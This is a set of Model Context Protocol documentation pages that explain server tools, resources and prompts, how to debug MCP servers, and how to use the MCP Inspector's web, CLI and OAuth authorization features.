Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling.

Core Server Features

Servers provide functionality through three building blocks:

Feature	Explanation	Examples	Who controls it
Tools	Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic.	Search flights Send messages Create calendar events	Model
Resources	Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation.	Retrieve documents Access knowledge bases Read calendars	Application
Prompts	Pre-built instruction templates that tell the model to work with specific tools and resources.	Plan a vacation Summarize my meetings Draft an email	User

We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together.

Tools

Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context.

How Tools Work

Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model.

Protocol operations:

Method	Purpose	Returns
tools/list	Discover available tools	Array of tool definitions with schemas
tools/call	Execute a specific tool	Tool execution result

Example tool definition:

```
{
  name: "searchFlights",
  description: "Search for available flights",
  inputSchema: {
    type: "object",
    properties: {
      origin: { type: "string", description: "Departure city" },
      destination: { type: "string", description: "Arrival city" },
      date: { type: "string", format: "date", description: "Travel date" }
    },
    required: ["origin", "destination", "date"]
  }
}
```

Example: Travel Booking

Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation:

Flight Search

```
searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15")
```

Queries multiple airlines and returns structured flight options.

Calendar Blocking

```
createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22")
```

Marks the travel dates in the user's calendar.

Email notification

```
sendEmail(to: "team@work.com", subject: "Out of Office", body: "...")
```

Sends an automated out-of-office message to colleagues.

User Interaction Model

Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms.

For trust and safety, applications can implement user control through various mechanisms, such as:

- Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions
- Approval dialogs for individual tool executions
- Permission settings for pre-approving certain safe operations
- Activity logs that show all tool executions with their results

Resources

Resources provide structured access to information that the AI application can retrieve and provide to models as context.

How Resources Work

Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model.

Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling.

Resources support two discovery patterns:

- **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024
- **Resource Templates** - dynamic URIs with parameters for flexible queries. Example:
 - `travel://activities/{city}/{category}` - returns activities by city and category
 - `travel://activities/barcelona/museums` - returns all museums in Barcelona

Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting.

Protocol operations:

Method	Purpose	Returns
<code>resources/list</code>	List available direct resources	Array of resource descriptors
<code>resources/templates/list</code>	Discover resource templates	Array of resource template definitions
<code>resources/read</code>	Retrieve resource contents	Resource data with metadata
<code>subscriptions/listen</code>	Monitor resource changes	Stream of update notifications

To watch specific resources for changes, a client sends a [subscriptions/listen](#) request with the resource URIs listed in the `resourceSubscriptions` filter. The server delivers `notifications/resources/updated` on the resulting stream whenever a watched resource changes.

Example: Getting Travel Planning Context

Continuing with the travel planning example, resources provide the AI application with access to relevant information:

- **Calendar data** (`calendar://events/2024`) - Checks user availability
- **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents
- **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences

The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model.

In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences.

Resource Template Examples:

```
{
  "uriTemplate": "weather://forecast/{city}/{date}",
  "name": "weather-forecast",
  "title": "Weather Forecast",
  "description": "Get weather forecast for any city and date",
  "mimeType": "application/json"
}

{
  "uriTemplate": "travel://flights/{origin}/{destination}",
  "name": "flight-search",
  "title": "Flight Search",
  "description": "Search available flights between cities",
}
```

```
"mimeType": "application/json"
}
```

These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)".

Parameter Completion

Dynamic resources support parameter completion. For example:

- Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City"
- Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International"

The system helps discover valid values without requiring exact format knowledge.

User Interaction Model

Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include:

- Tree or list views for browsing resources in familiar folder-like structures
- Search and filter interfaces for finding specific resources
- Automatic context inclusion or smart suggestions based on heuristics or AI selection
- Manual or bulk selection interfaces for including single or multiple resources

Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers.

Prompts

Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server.

How Prompts Work

Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values.

Protocol operations:

Method	Purpose	Returns
<code>prompts/list</code>	Discover available prompts	Array of prompt descriptors
<code>prompts/get</code>	Retrieve prompt details	Full prompt definition with arguments

Example: Streamlined Workflows

Prompts provide structured templates for common tasks. In the travel planning context:

"Plan a vacation" prompt:

```
{
  "name": "plan-vacation",
  "title": "Plan a vacation",
  "description": "Guide through vacation planning process",
  "arguments": [
    { "name": "destination", "type": "string", "required": true },
    { "name": "duration", "type": "number", "description": "days" },
    { "name": "budget", "type": "number", "required": false },
    { "name": "interests", "type": "array", "items": { "type": "string" } }
  ]
}
```

Rather than unstructured natural language input, the prompt system enables:

1. Selection of the "Plan a vacation" template
2. Structured input: Barcelona, 7 days, \$3000, ["beaches", "architecture", "food"]
3. Consistent workflow execution based on the template

User Interaction Model

Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include:

- Easy discovery of available prompts
- Clear descriptions of what each prompt does
- Natural argument input with validation
- Transparent display of the prompt's underlying template

Applications typically expose prompts through various UI patterns such as:

- Slash commands (typing "/" to see available prompts like /plan-vacation)
- Command palettes for searchable access
- Dedicated UI buttons for frequently used prompts
- Context menus that suggest relevant prompts

Bringing Servers Together

The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface.

Example: Multi-Server Travel Planning

Consider a personalized AI travel planner application, with three connected servers:

- **Travel Server** - Handles flights, hotels, and itineraries
- **Weather Server** - Provides climate data and forecasts
- **Calendar/Email Server** - Manages schedules and communications

The Complete Flow

1. User invokes a prompt with parameters:

```
json { "prompt": "plan-vacation", "arguments": { "destination": "Barcelona", "departure_date": "2024-06-15", "return_date": "2024-06-22", "budget": 3000, "travelers": 2 } }
```

2. User selects resources to include: - `calendar://my-calendar/June-2024` (from Calendar Server) - `travel://preferences/europe` (from Travel Server) - `travel://past-trips/Spain-2023` (from Travel Server)

3. AI processes the request using tools:

The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips.

Using this context, the AI then executes the prompt provided by the AI application. In our example, the AI application exposes the weather tools from the connected MCP weather server to the model. Because weather can affect travel plans, the AI chooses to call `checkWeather()` when interpreting the prompt.

As a result the AI executes a series of tools:

- `searchFlights()` - Queries airlines for NYC to Barcelona flights
- `checkWeather()` - Retrieves climate forecasts for travel dates

The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary: - `bookHotel()` - Finds hotels within the specified budget - `createCalendarEvent()` - Adds the trip to the user's calendar - `sendEmail()` - Sends confirmation with trip details

The result: Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources

(calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP.

mcp / docs/2026-07-28/tools

Debugging

mcp/docs/2026-07-28/tools/debugging.mdx

Effective debugging is essential when developing MCP servers or integrating them with applications. This guide covers the debugging tools and approaches available in the MCP ecosystem.

Debugging tools overview

MCP provides several tools for debugging at different levels:

1. **[MCP Inspector](#)**: interactive, transport-agnostic testing UI. Connect to stdio or Streamable HTTP servers, invoke [tools](#), [prompts](#), and [resources](#), and watch the notification stream. This should be your first stop.
2. **Server logging**: structured logs to stderr (stdio transport) or via [OpenTelemetry](#) (all transports). [Logging](#) over the protocol (`notifications/message`) is deprecated as of protocol version `2026-07-28` .
3. **Client developer tools**: most MCP clients expose logs and connection state. See [Debugging in Claude Desktop](#) below for one example, or consult your client's documentation.

Implementing logging

Server-side logging

When building a server that uses the local [stdio transport](#), all messages logged to stderr (standard error) will be captured by the host application automatically.

주의

Local MCP servers should not log messages to stdout (standard out), as this will interfere with protocol operation.

For servers using the [Streamable HTTP transport](#), stderr is not captured by the client. Use your own server-side log aggregation or [OpenTelemetry](#) for logs, and standard HTTP tooling (curl, browser DevTools Network panel) to inspect requests and SSE streams.

주의

The `notifications/message` mechanism below is deprecated as of protocol version `2026-07-28` . It remains available during the deprecation window.

For all [transports](#), record what the server is doing as it runs:

```
```python Python import logging

from mcp.server import MCPServer

logger = logging.getLogger(name)

mcp = MCPServer("reports")

@mcp.tool() async def fetch_report(report_id: str) -> str: """Fetch a report by id."""
logger.info("Fetching report %s", report_id) return f"Report {report_id} is ready."
```

```
```typescript TypeScript
await server.sendLoggingMessage({
  level: "info",
  data: "Server started successfully",
});
```

MCP defines eight [RFC 5424 severity levels](#) (`debug` through `emergency`). Clients opt in to log messages per request by setting the [io.modelcontextprotocol/logLevel](#) field in the request's `_meta` . Servers must not send `notifications/message` for requests that omit this field.

Important events to log:

- Startup steps
- Resource access
- Tool execution
- Error conditions
- Performance metrics

Common issues

The examples below use Claude Desktop's [claude_desktop_config.json](#) ; the same principles apply to any stdio-based MCP client.

Working directory

When an MCP client launches a stdio server:

- The working directory for servers launched via the client's config may be undefined (like `/` on macOS) since the client could be started from anywhere
- Always use absolute paths in your configuration and `.env` files to ensure reliable operation
- For testing servers directly via command line, the working directory will be where you run the command

For example in `claude_desktop_config.json`, use:

```
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/server-filesystem",
        "/Users/username/data"
      ]
    }
  }
}
```

Instead of relative paths like `./data`

Environment variables

MCP servers launched over stdio inherit only a limited subset of environment variables automatically (the exact set is platform-dependent).

To override the default variables or provide your own, you can specify an `env` key in `claude_desktop_config.json`:

```
{
  "mcpServers": {
    "myserver": {
      "command": "mcp-server-myapp",
      "env": {
        "MYAPP_API_KEY": "some_key"
      }
    }
  }
}
```

Server startup

Common startup problems:

1. **Path Issues** - Incorrect server executable path - Missing required files - Permission problems - Try using an absolute path for `command`
2. **Configuration Errors** - Invalid JSON syntax - Missing required fields - Type mismatches
3. **Environment Problems** - Missing environment variables - Incorrect variable values - Permission restrictions

Connection problems

When servers fail to connect:

1. Check client logs
2. Verify server process is running
3. Test standalone with [Inspector](#)
4. Verify [protocol compatibility](#): call [server/discover](#) to see which protocol versions the server supports. An `UnsupportedProtocolVersionError` (`-32022`) lists the server's supported versions in its `data` field
5. Check the [per-request _meta fields](#): every request must carry `io.modelcontextprotocol/protocolVersion` and `io.modelcontextprotocol/clientCapabilities` , and clients should also include `io.modelcontextprotocol/clientInfo` . A request missing either required field is rejected with error `-32602` (Invalid params), the same code returned for many other malformed inputs. If the server needs a capability the request's `clientCapabilities` did not declare, such as [elicitation](#), it returns a `MissingRequiredClientCapabilityError` (`-32021`) naming the missing capabilities. Inspect the request's `_meta` and the [server/discover](#) response to verify both sides declared what you expect

Debugging in Claude Desktop

Claude Desktop is one of many MCP clients. It is available on macOS and Windows.

Checking server status

Click the "Add files, connectors, and more" plus icon in the chat input, then hover over the **Connectors** menu to see connected servers and available tools.

 Available MCP tools

Viewing logs

Log files are written to:

- macOS: `~/Library/Logs/Claude`
- Windows: `%APPDATA%\Claude\logs`

```
```bash macOS tail -n 20 -F ~/Library/Logs/Claude/mcp*.log
```

```
```powershell Windows
type "$env:AppData\Claude\logs\mcp*.log"
```

The logs capture:

- Server connection events

- Configuration issues
- Runtime errors
- Message exchanges

Using Chrome DevTools

Access Chrome's developer tools inside Claude Desktop to investigate client-side errors:

1. Create a `developer_settings.json` file with `allowDevTools` set to true:

```
```bash macOS echo '{"allowDevTools": true}' > ~/Library/Application\
Support/Claude/developer_settings.json
```

```
```powershell Windows
'{"allowDevTools": true}' | Set-Content "$env:AppData\Claude\developer_settings.json"
```

2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows)

Note: You'll see two DevTools windows:

- Main content window
- App title bar window

Use the Console panel to inspect client-side errors.

Use the Network panel to inspect:

- Message payloads
- Connection timing

Debugging workflow

Development cycle

1. Initial Development - Use [Inspector](#) for basic testing - Implement core functionality - Add logging points
2. Integration Testing - Test in your target MCP client - Monitor logs - Check error handling

Testing changes

To test changes efficiently:

- **Configuration changes:** Restart the MCP client
- **Server code changes:** Restart the client (for Claude Desktop, fully quit and reopen; closing the window is not enough)
- **Quick iteration:** Use [Inspector](#) during development

Best practices

Logging strategy

1. **Structured Logging** - Use consistent formats - Include context - Add timestamps - Track request IDs
2. **Error Handling** - Log stack traces - Include error context - Track error patterns - Monitor recovery
3. **Performance Tracking** - Log operation timing - Monitor resource usage - Track message sizes - Measure latency

Security considerations

When debugging:

1. **Sensitive Data** - Sanitize logs - Protect credentials - Mask personal information
2. **Access Control** - Verify permissions - Check authentication - Monitor access patterns

For a full treatment of MCP attack vectors and mitigations, see [Security Best Practices](#).

Getting help

When encountering issues:

1. **First Steps** - Check server logs - Test with [Inspector](#) - Review configuration - Verify environment
2. **Support Channels** - [GitHub issues](#) - [GitHub discussions](#)
3. **Providing Information** - Log excerpts - Configuration files - Steps to reproduce - Environment details

Next steps

[MCP Inspector](#)

Learn to use the MCP Inspector

[Build an MCP server](#)

Walk through building a server from scratch

[Connect local servers](#)

Full `claude_desktop_config.json` reference and troubleshooting

MCP Inspector

mcp/docs/2026-07-28/tools/inspector.mdx

The [MCP Inspector](#) is the reference developer tool for testing and debugging [MCP servers](#). It ships as a single package, `@modelcontextprotocol/inspector`, providing **three clients behind one binary**:

Client	Invocation	What it's for
Web	<code>npx @modelcontextprotocol/inspector</code>	A full graphical inspector in the browser. The default, and the richest surface.
CLI	<code>npx @modelcontextprotocol/inspector -cli</code>	A scriptable, machine-readable client for CI, shell pipelines, and coding agents.
TUI	<code>npx @modelcontextprotocol/inspector -tui</code>	An interactive terminal UI, for when a browser isn't available or wanted.

All three are built on the same shared core, so a connection behaves identically across them: the same transports, the same configuration files, the same OAuth state on disk, and the same [protocol-era](#) negotiation (legacy vs. modern 2026-07-28).



Quickstart

The Inspector requires **Node 22.19.0 or newer** and runs directly through `npx`. No installation is required:

Web

```
# Launch the web UI and connect to a local stdio server
npx @modelcontextprotocol/inspector node path/to/server/index.js

# Or launch with no target and add servers from the UI
npx @modelcontextprotocol/inspector
```

The command prints a URL containing a one-time session token; open it in your browser. See [Web client](#).

CLI

```
# List a server's tools and exit
npx @modelcontextprotocol/inspector --cli node path/to/server/index.js --method tools/list
```



```
# Call a tool and pipe the result into jq
npx @modelcontextprotocol/inspector --cli https://api.example.com/mcp --transport http \
  --method tools/call --tool-name get_weather --tool-arg city=Boston --format json | jq .result
```

See [CLI client](#).

TUI

```
npx @modelcontextprotocol/inspector --tui node path/to/server/index.js
```

See [TUI client](#).

Inspecting published servers

Pass the command that launches the server as the Inspector's arguments, or point it at a remote server with `--server-url`:

npm package

```
npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem ~/Desktop
```

PyPI package

```
npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git
```

Remote HTTP server

```
npx @modelcontextprotocol/inspector --server-url https://api.example.com/mcp --transport http
```

Always read a server's own README first, since every server requires different commands and arguments.

Launcher flags vs. client flags

`mcp-inspector`, the binary that `npx @modelcontextprotocol/inspector` runs, is a thin launcher. It owns only two things:

1. **The mode flag:** `--web` (default), `--cli`, or `--tui`. At most one; passing two errors with `Specify at most one of --web, --cli, or --tui.`
2. `-h` / `--help`.

Everything else (`--catalog`, `--config`, `--server-url`, `--transport`, `--method`, the OAuth flags) is defined by the *client*, not the launcher, and the clients do not all define the same set. The [Configuration and flags](#) page is organized that way, by owner.

참고

Mode flags are recognized only at the front of the command line: the first token that isn't `--web` / `--cli` / `--tui` ends launcher parsing, and everything after it is forwarded to the client unchanged. That's what lets a literal `--cli` appear later as one of your server's own arguments:

```
mcp-inspector --cli node server.js --cli # mode is CLI; the trailing --cli goes to server.js
```

참고

`--help` behaves differently with and without a mode flag. Bare `mcp-inspector --help` prints the launcher's help and exits. With a mode flag it is forwarded, so `mcp-inspector --cli --help` prints the CLI's full flag reference instead.

Where to go next

[Web client](#)

A tab-by-tab walkthrough of the graphical inspector.

[CLI client](#)

Method reference, output formats, exit codes, and CI recipes.

[TUI client](#)

Terminal navigation and keyboard reference.

[Configuration and flags](#)

Catalog vs. config files, the full per-client flag reference, and environment variables.

[Authorization](#)

The OAuth flow end to end, mid-session re-authorization, and loopback callbacks.

[Protocol eras](#)

Legacy vs. modern (2026-07-28) operation, and how every tab changes between protocol eras.

[Recipes](#)

Importing client configs, reviewing MCP Apps, Docker, and network hosting.

[Debugging guide](#)

Broader debugging strategies beyond the Inspector.

[mcp / docs/2026-07-28/tools/inspector](#)

Authorization

mcp/docs/2026-07-28/tools/inspector/authorization.mdx

Remote MCP servers usually require authorization. The Inspector implements the full [authorization](#) flow in all three clients, sharing the resulting tokens on disk so a login done once is usable everywhere.

The flow, end to end

Connect, and get refused

The Inspector connects to the server URL. The server answers `401`. When the response carries a `WWW-Authenticate` header, it points at the protected-resource metadata URL (`resource_metadata`) and, optionally, the scopes the request requires.

Discover the authorization server

The Inspector fetches the server's [protected-resource and authorization-server metadata](#) to learn the endpoints and the supported grants.

Register or identify the client

The Inspector identifies itself to the authorization server through whichever mechanism is configured: [dynamic client registration](#), a pre-registered static client (`--client-id` / `--client-secret`), a [Client ID Metadata Document](#) (`--client-metadata-url`), or an [enterprise-managed IdP](#).

Authorize in the browser

The Inspector opens the authorization URL. You sign in and consent.

Receive the callback

The authorization server redirects to the Inspector's callback URL, carrying the authorization code.

Exchange and retry

The code is exchanged for tokens, the tokens are persisted, and the original connect (or, for a [mid-session challenge](#), the request that was refused) is retried automatically.



Callback URLs

The web app listens for the OAuth callback on its own URL, while the CLI and TUI deliberately share a second one:

Surface	Default callback	Why
Web	<code>http://localhost:6274/oauth/callback</code>	The main app server already has an HTTP listener.
CLI	<code>http://127.0.0.1:6276/oauth/callback</code>	A dedicated loopback listener, so it doesn't collide with a running web Inspector.
TUI	<code>http://127.0.0.1:6276/oauth/callback</code>	The same listener as the CLI.

Register `http://127.0.0.1:6276/oauth/callback` on any IdP that requires pre-registered redirect URIs before using the CLI or TUI. A predictable default is the point: you register once and reuse it.

Override with `--callback-url` or `MCP_OAUTH_CALLBACK_URL`.

주의

The callback URL **must bind a loopback host**: `localhost`, `127.0.0.0/8`, or `:::1`. The listener receives the authorization code over plaintext `http`, so a non-loopback host is rejected with an error and there is no flag to override that. If your browser runs on a different machine, forward the callback port to it; `--print-handoff` (below) prints a ready-made `portForwardCmd`.

참고

Redirect URIs must match your registration **exactly**. `http://localhost:6276/...` and `http://127.0.0.1:6276/...` are different URIs to an authorization server, even though they reach the same listener.

Only one process can hold the default port at a time; a second concurrent flow fails with `EADDRINUSE`. Use a different fixed port per instance, or `http://127.0.0.1:0/oauth/callback` for an OS-assigned ephemeral port when your authorization server supports dynamic redirect-URI registration.

Where credentials live

File	Contents
<code>~/.mcp-inspector/storage/oauth.json</code>	Tokens and client information, keyed by canonicalized server URL. Written owner-only.
<code>~/.mcp-inspector/storage/client.json</code>	Install-level client settings (client metadata URL, enterprise IdP). The same file the web client's Client Settings dialog writes.

File	Contents
The server's <code>oauth</code> block in the catalog file	Per-server client id/secret, scopes, the enterprise-managed flag, and the step-up policy.

The path to `oauth.json` is resolved in order: `MCP_INSPECTOR_OAUTH_STATE_PATH`, then ```

`/oauth.json` (see [\[Environment variables\]\(/docs/2026-07-28/tools/inspector/configuration#environment-variables\)](#)), then the default above. All three clients resolve it the same way. Command-line `--client-id / --client-secret / --client-metadata-url` override `client.json`.

Mid-session re-authorization

A server can refuse a *single* request mid-session with a `401` or a `403 insufficient_scope`, and the Inspector handles both without dropping the connection:

- **Re-authorization**: the token expired or was revoked. The Inspector parses the `WWW-Authenticate` challenge and re-runs the flow, then retries the failed request.
- **Step-up**: the request needs scopes the current token doesn't carry. The Inspector re-authORIZES for the union of the held and required scopes, so the new token covers everything the old one did plus the newly required scopes.

In the **web** client this surfaces as a re-authorization banner. In the **CLI** it prompts on `stderr`:

```
Proceed with step-up authorization? [y/N]
```

Answer **y** to continue. Piped input works (`echo y | ...`), as long as it's newline-terminated or `stdin` closes. **N**, or EOF with no answer, declines. A non-TTY `stdin` that sends nothing within 5 seconds fails with `auth_required`, which is distinct from an explicit decline. Enterprise-managed step-up reminds silently, with no prompt.

Non-interactive and CI runs

Interactive OAuth requires a TTY on **stdin or stderr**, or `MCP_AUTO_OPEN_ENABLED=true`. Redirecting `stderr` into a pipe, as in `2>&1 | tee`, still works because `stdin` stays a TTY. When neither is true, which is the normal CI shape, the CLI fails fast with `auth_required` rather than waiting up to fifteen minutes for a callback nobody will complete.

For CI, be explicit:

```
mcp-inspector --cli "$URL" --transport http --stored-auth-only --method tools/list
```

`--stored-auth-only` never starts interactive OAuth or step-up, never opens a browser, uses the shared store if a token is there, and fails immediately otherwise.

Handing off from the web client to the CLI

The common case: a human completed OAuth in the web Inspector on this machine, and now a script wants to use that token.

Flag	Behavior
<code>--use-stored-auth</code>	Read the stored auth for <code>--server-url</code> and inject <code>Authorization: Bearer</code> . When a refresh token is stored, run the refresh grant first and inject the fresh token, persisting the rotation. Exits <code>3</code> (listing the stored server URLs) when nothing matches.
<code>--wait-for-auth <sec></code>	Poll the state file until a token for <code>--server-url</code> appears, then inject it. Times out at <code><sec></code> with exit <code>3</code> . Use after handing a login off to a human.
<code>--list-stored-auth</code>	Print <code>{ oauthStatePath, storedServerUrls }</code> and exit without connecting.
<code>--print-handoff</code>	Print a JSON block (<code>deepLink</code> , <code>portForwardCmd</code> , <code>oauthStatePath</code> , <code>apiToken</code>) for <code>--server-url</code> and exit; this is everything a remote script needs to drive the browser side.
<code>--relogin</code>	Delete the stored OAuth for this server URL before connecting. HTTP/SSE only.

A typical remote-VM sequence:

```
# On the VM: print what the human needs in order to complete OAuth in their browser
mcp-inspector --cli --server-url https://api.example/mcp --print-handoff

# Then block until the token lands, and run the call with it
mcp-inspector --cli --transport http --server-url https://api.example/mcp \
  --wait-for-auth 120 --method tools/list
```

The `deepLink` in the handoff block navigates a browser straight to a *connected* Inspector; see [Deep links](#).

참고

Because the stored entry records no expiry, a stored refresh token is exercised on **every** `--use-stored-auth` run. With rotating (single-use) refresh tokens that opens two narrow failure windows: two concurrent invocations against the same state file can race for the token, and a crash between a successful refresh and the write-back leaves the rotated token unsaved. Both are unlikely; re-authorize in the web client to recover.

Inspecting auth state

- **Web:** the Connection Info panel shows discovery results, the registered client, granted scopes, and token state, and offers **Clear OAuth state** for the active server.
- **TUI:** the **Auth** tab (**a**) shows the same fields and clears state the same way.
- **CLI:** `--list-stored-auth` shows what's on disk, and `--relogin` discards it and starts over.

CLI client

mcp/docs/2026-07-28/tools/inspector/cli.mdx

Each CLI run connects to a server, invokes the single request you name with `--method`, prints the result, and exits. That makes it a good fit for CI pipelines, shell one-liners, and coding agents that need to verify a server change immediately.

```
npx @modelcontextprotocol/inspector --cli node build/index.js --method tools/list
```

The examples below use the installed `mcp-inspector` binary. Without a global install, prefix each command with `npx @modelcontextprotocol/inspector` instead, as above.

Choosing a server

The CLI accepts a positional command (stdio), a `--server-url` (HTTP/SSE), or a named server out of a catalog or config file:

```
# stdio: everything positional is the command to spawn
mcp-inspector --cli node build/index.js --method tools/list

# HTTP
mcp-inspector --cli https://api.example.com/mcp --transport http --method tools/list

# From a file
mcp-inspector --cli --config ./mcp.json --server myserver --method tools/list
```

When the server comes from a file, its per-server settings (headers, timeouts, OAuth, [protocol era](#), and roots) apply to the connection, resolved exactly as the TUI and web client resolve them. A `--header` flag overrides the file's headers for that run while leaving its timeouts and OAuth in place.

Later examples abbreviate whichever of these forms you use, along with its `--transport` or `--config / --server` flags, as `<server>`.

참고

The config file is the only durable way to give a run its [roots](#): there is no roots flag, and `--method roots/set` applies only to that one short-lived connection. Roots configured for a server are advertised at connect, so a server that calls `roots/list` (as `@modelcontextprotocol/server-filesystem` does, to learn its allowed directories) gets them.

See [Configuration and flags](#) for `--catalog` vs. `--config`, the `--` separator, and the shared server-selection flags.

Methods

--method	Required companions	Notes
initialize	None	Connect-only probe: {serverInfo, protocolVersion, capabilities, instructions}.
tools/list	None	
tools/call	--tool-name , plus --tool-arg / --tool-args-json	
resources/list	None	
resources/read	--uri	
resources/templates/list	None	
prompts/list	None	
prompts/get	--prompt-name , --prompt-args	
logging/setLevel	--log-level	Legacy era only; modern servers opt in per request instead.
servers/list , servers/show	None	Read the catalog without connecting to anything.

Stream- or session-only methods (`logging/tail` , for example) are rejected, since a process that exits can't hold a stream open.

Passing arguments

`--tool-arg` takes `key=value` and **coerces** values by JSON-parsing them, so `count=1` becomes a number and `"012"` becomes `12`:

```
mcp-inspector --cli <server> --method tools/call --tool-name mytool \  
  --tool-arg key=value --tool-arg count=1 --tool-arg 'options={"format":"json"}'
```

`--tool-args-json` takes the whole argument object at once and passes it **verbatim**, with no coercion, so `"012"` stays the string `012`. The two are mutually exclusive:

```
mcp-inspector --cli <server> --method tools/call --tool-name mytool \  
  --tool-args-json '{"zip":"10001"}'
```

Output

`--format text` (the default) pretty-prints for humans. `--format json` emits a single JSON object on stdout with no banners, so the whole output pipes cleanly:

```
mcp-inspector --cli <server> --method tools/list --format json | jq '.result.tools[].name'
```

Probing MCP Apps

`--app-info` reports whether a tool ships an [MCP App](#) UI (its `ui://` resource, CSP, and permissions) **without calling the tool**, so a pipeline can decide whether it needs a browser before invoking anything:

```
# One tool -> one JSON line
mcp-inspector --cli <server> --method tools/call --tool-name my_tool --app-info
# {"hasApp":true,"toolName":"my_tool","resourceUri":"ui://...","csp":{"..."},"permissions":{"..."}}

# Every tool -> NDJSON, one line each, over a single connection
mcp-inspector --cli <server> --method tools/list --app-info | jq -c 'select(.hasApp)'
```

Exit codes distinguish the outcomes: a tool with an app exits `0`, one with no app exits `2`, and a missing tool exits `5`, so a typo isn't mistaken for "no app". A probe failure (unreadable UI resource, malformed `resourceUri`) is reported in a `resourceError` field rather than aborting, so one bad tool never kills a whole listing.

참고

`tools/list --app-info` always emits NDJSON (one line per tool) regardless of `--format`; `--format json` reshapes only the single-tool output of `tools/call --app-info`.

Exit codes and error envelopes

Every non-zero exit maps to a stable failure class, so a caller can branch on *why* without scraping prose:

Code	Meaning
0	Success.
1	Usage or unexpected error (the catch-all).
2	No MCP App found on the tool (<code>--app-info</code> probe).
3	Server requires authentication (401/403, <code>WWW-Authenticate</code> , OAuth).
4	Server unreachable (DNS, connection refused, timeout, <code>fetch failed</code>).
5	Tool error: <code>tools/call</code> returned <code>isError: true</code> , or the tool wasn't found.

On any non-zero exit the CLI also writes a **single JSON line to stderr**:

```
{
  "error": {
    "code": "auth_required",
    "message": "Unauthorized",
    "status": 401,
    "url": "https://api.example/mcp"
  }
}
```

Because it's one line, a caller can parse it with `2>&1 | tail -1 | jq .error`.

A `tools/call` that returns `isError: true` still prints its payload, but exits `5`, so an `&&` chain doesn't proceed on a failed call.

Authorization in scripts

By default the CLI runs the same loopback OAuth flow as the TUI: it opens a browser and waits on a localhost callback that a CI job can't complete. Two flags make non-interactive runs predictable:

- `--stored-auth-only`: never start interactive OAuth or step-up, and never auto-open a browser. Use tokens from the shared store if present, otherwise fail immediately with `auth_required`. This is the flag CI wants.
- `--use-stored-auth`: reuse a token that the web Inspector already obtained on this machine, refreshing it first when a refresh token is stored.

Without either, and with no TTY on stdin or stderr, the CLI fails fast with `auth_required` rather than hanging for fifteen minutes on a callback nobody will complete.

See [Authorization](#) for the full flow, the web-to-CLI handoff, and `--print-handoff`.

Recipes

Verify a server in CI

```
set -euo pipefail

# Fail the build if the server can't be reached or doesn't expose the tool
mcp-inspector --cli --config ./ci-servers.json --server my-server \
  --stored-auth-only --method tools/list --format json \
  | jq -e '.result.tools | map(.name) | index("get_weather")' > /dev/null
```

Branch on the failure class

```
if out=$(mcp-inspector --cli "$URL" --transport http --method tools/list 2>err.json); then
  echo "$out"
else
```

```

case $? in
  3) echo "needs auth: run the web inspector once to sign in" ;;
  4) echo "server unreachable" ;;
  *) jq .error < err.json ;;
esac
fi

```

Smoke-test every tool that has a UI

```

mcp-inspector --cli "$URL" --transport http --method tools/list --app-info \
| jq -r 'select(.hasApp) | .toolName'

```

Inspect a catalog without connecting

```

mcp-inspector --cli --catalog ~/.mcp-inspector/mcp.json --method servers/list
